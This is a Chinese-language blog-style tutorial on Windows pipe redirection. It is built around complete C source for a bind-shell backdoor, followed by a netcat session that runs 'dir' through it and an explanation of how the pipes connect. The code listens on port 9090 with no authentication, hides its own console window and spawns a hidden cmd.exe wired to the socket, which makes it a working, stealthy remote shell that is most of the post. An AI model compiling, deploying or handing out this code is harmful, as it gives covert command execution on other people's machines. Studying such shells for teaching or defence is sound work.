源代码如下:
#include <WinSock2.h>
#include <stdio.h>
#include <conio.h>
#pragma comment(lib,"Ws2_32")
#define SZBUFFER_SIZE 1024
#define LST_PORT 9090
SOCKET InitializeServer(VOID) {
WORD version = MAKEWORD(2, 2);
WSADATA wsaData;
SOCKET listeningSocket;
WSAStartup(version, &wsaData);
if ((listeningSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
return NULL;
// Fill SOCKADDR_IN
SOCKADDR_IN saServer;
saServer.sin_family = AF_INET;
saServer.sin_addr.s_addr = INADDR_ANY;
saServer.sin_port = htons(LST_PORT);
// Bind the socket to our local server address
if (bind(listeningSocket, (LPSOCKADDR) & saServer, sizeof(struct sockaddr)) == SOCKET_ERROR)
return NULL;
// Make the socket listen
if (listen(listeningSocket, 10) == SOCKET_ERROR)
return NULL;
// Wait for a client
return accept(listeningSocket, NULL, NULL);
}
BOOL CreateShellProcess(PROCESS_INFORMATION *pi, HANDLE *hCmdIn, HANDLE *hCmdOut, HANDLE *hSocketIn, HANDLE *hSocketOut, SOCKET *clientSocket) {
STARTUPINFO si;
SECURITY_ATTRIBUTES sa;
SECURITY_DESCRIPTOR sd;
// Initialize security descriptor
InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);
SetSecurityDescriptorDacl(&sd, true, NULL, false);
// Initialize security attrubutes
sa.lpSecurityDescriptor = &sd;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = true;
if (!CreatePipe(hCmdIn, hSocketOut, &sa, 0)) //create stdin pipe
return FALSE;
if (!CreatePipe(hSocketIn, hCmdOut, &sa, 0)) //create stdout pipe
return FALSE;
GetStartupInfo(&si);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdOutput = *hCmdOut;
si.hStdError = *hCmdOut;
si.hStdInput = *hCmdIn;
char app_spawn[] = "C:\\WINDOWS\\system32\\cmd.exe";
// Spawn the shell process
if (!CreateProcess(app_spawn, NULL, NULL, NULL, TRUE, CREATE_NEW_CONSOLE,
NULL, NULL, &si, pi)) {
printf("CreateProcess:%d\n", GetLastError());
return FALSE;
}
return TRUE;
}
unsigned long GetNumberOfBytesToRead(HANDLE hSocketIn, char* szBuffer, int szBufferSize, int iLoop) {
int i;
unsigned long uRead = 0;
unsigned long uAvail = 0;
for (i = 0; i < iLoop; i++) {
PeekNamedPipe(hSocketIn, szBuffer, szBufferSize, &uRead, &uAvail,
NULL);
if (uRead != 0)
break;
}
return uRead;
}
int main(char *argv[], int argc) {
char szBuffer[SZBUFFER_SIZE];
// Hide current window
GetConsoleTitle(szBuffer, sizeof(szBuffer));
ShowWindow(FindWindow(NULL, szBuffer), SW_HIDE);
// Pipes handles
HANDLE hCmdIn, hCmdOut, hSocketIn, hSocketOut;
PROCESS_INFORMATION pi;
int nRet;
// Wait for a client
SOCKET clientSocket;
// Launch server
clientSocket = InitializeServer();
if (clientSocket == NULL || clientSocket == INVALID_SOCKET)
exit(-1);
// Create shell process with stdin/sdtout redirected
if (!CreateShellProcess(&pi, &hCmdIn, &hCmdOut, &hSocketIn,
&hSocketOut, &clientSocket))
exit(-1);
unsigned long exit = 0; //process exit code
unsigned long bread; //bytes read
while(TRUE){
// Check if child is still active
ZeroMemory(szBuffer, SZBUFFER_SIZE);
GetExitCodeProcess(pi.hProcess, &exit);
if (exit != STILL_ACTIVE)
break;
while (GetNumberOfBytesToRead(hSocketIn, szBuffer, sizeof(szBuffer),
10000)) {
ZeroMemory(szBuffer, SZBUFFER_SIZE);
ReadFile(hSocketIn, szBuffer, sizeof(szBuffer), &bread, NULL);
if (send(clientSocket, szBuffer, strlen(szBuffer), 0) == SOCKET_ERROR)
break;
}
ZeroMemory(szBuffer, SZBUFFER_SIZE);
nRet = recv(clientSocket, szBuffer, sizeof(szBuffer), 0);
if (nRet == SOCKET_ERROR) {
printf("Error on recv()");
return -1;
}
int i;
for (i = 0; i < nRet; i++) {
WriteFile(hSocketOut, &szBuffer[i], 1, &bread, NULL);
}
}
WSACleanup();
return 0;
}
在cmd里运行nc来连接9090端口,输出如下:
D:\>nc.exe 127.0.0.1 9090
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.
d:\my documents\visual studio 2010\Projects\test\two_pipe>
d:\my documents\visual studio 2010\Projects\test\two_pipe>dir
dir
驱动器 D 中的卷是 本地磁盘
卷的序列号是 6C97-9E44
d:\my documents\visual studio 2010\Projects\test\two_pipe 的目录
2013-07-21 17:07 <DIR> .
2013-07-21 17:07 <DIR> ..
2013-07-21 23:27 <DIR> Debug
2013-07-21 17:26 <DIR> Release
2013-07-21 23:26 4,021 two_pipe.cpp
2013-07-21 17:07 3,926 two_pipe.vcxproj
2013-07-21 16:19 946 two_pipe.vcxproj.filters
2013-07-21 16:02 143 two_pipe.vcxproj.user
4 个文件 9,036 字节
4 个目录 36,606,078,976 可用字节
d:\my documents\visual studio 2010\Projects\test\two_pipe>exit
exit
D:\>
用CreatePipe创建了两个管道:
if (!CreatePipe(hCmdIn, hSocketOut, &sa, 0)) //create stdin pipe
return FALSE;
if (!CreatePipe(hSocketIn, hCmdOut, &sa, 0)) //create stdout pipe
return FALSE;
然后把hCmdIn作为子进程的输入,hCmdOut作为子进程的输出:
si.hStdOutput = *hCmdOut;
si.hStdError = *hCmdOut;
si.hStdInput = *hCmdIn;
nc连上去后,hCmdOut输出到hSocketIn,显示到控制台上来,然后从控制台输入命令,如dir,写到hSocketOut去,hSocketOut输入到hCmdIn里去,流程就是这样。
如果学过java,则会好理解一些,java里有socket.getInputStream()和socket.getOutputStream()。
读就是从socket.getInputStream()里读取,写是往socket.getOutputStream()里去。
这里我把变量名命名为hSocketIn和hSocketOut,应该就比较好理解了。